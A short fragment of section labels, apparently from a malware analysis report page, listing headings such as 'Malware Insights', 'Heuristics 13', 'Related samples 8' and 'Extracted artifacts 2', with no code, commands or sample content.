Malware Insights

Machine Learning

Heuristics 13

Related samples 8

Extracted artifacts 2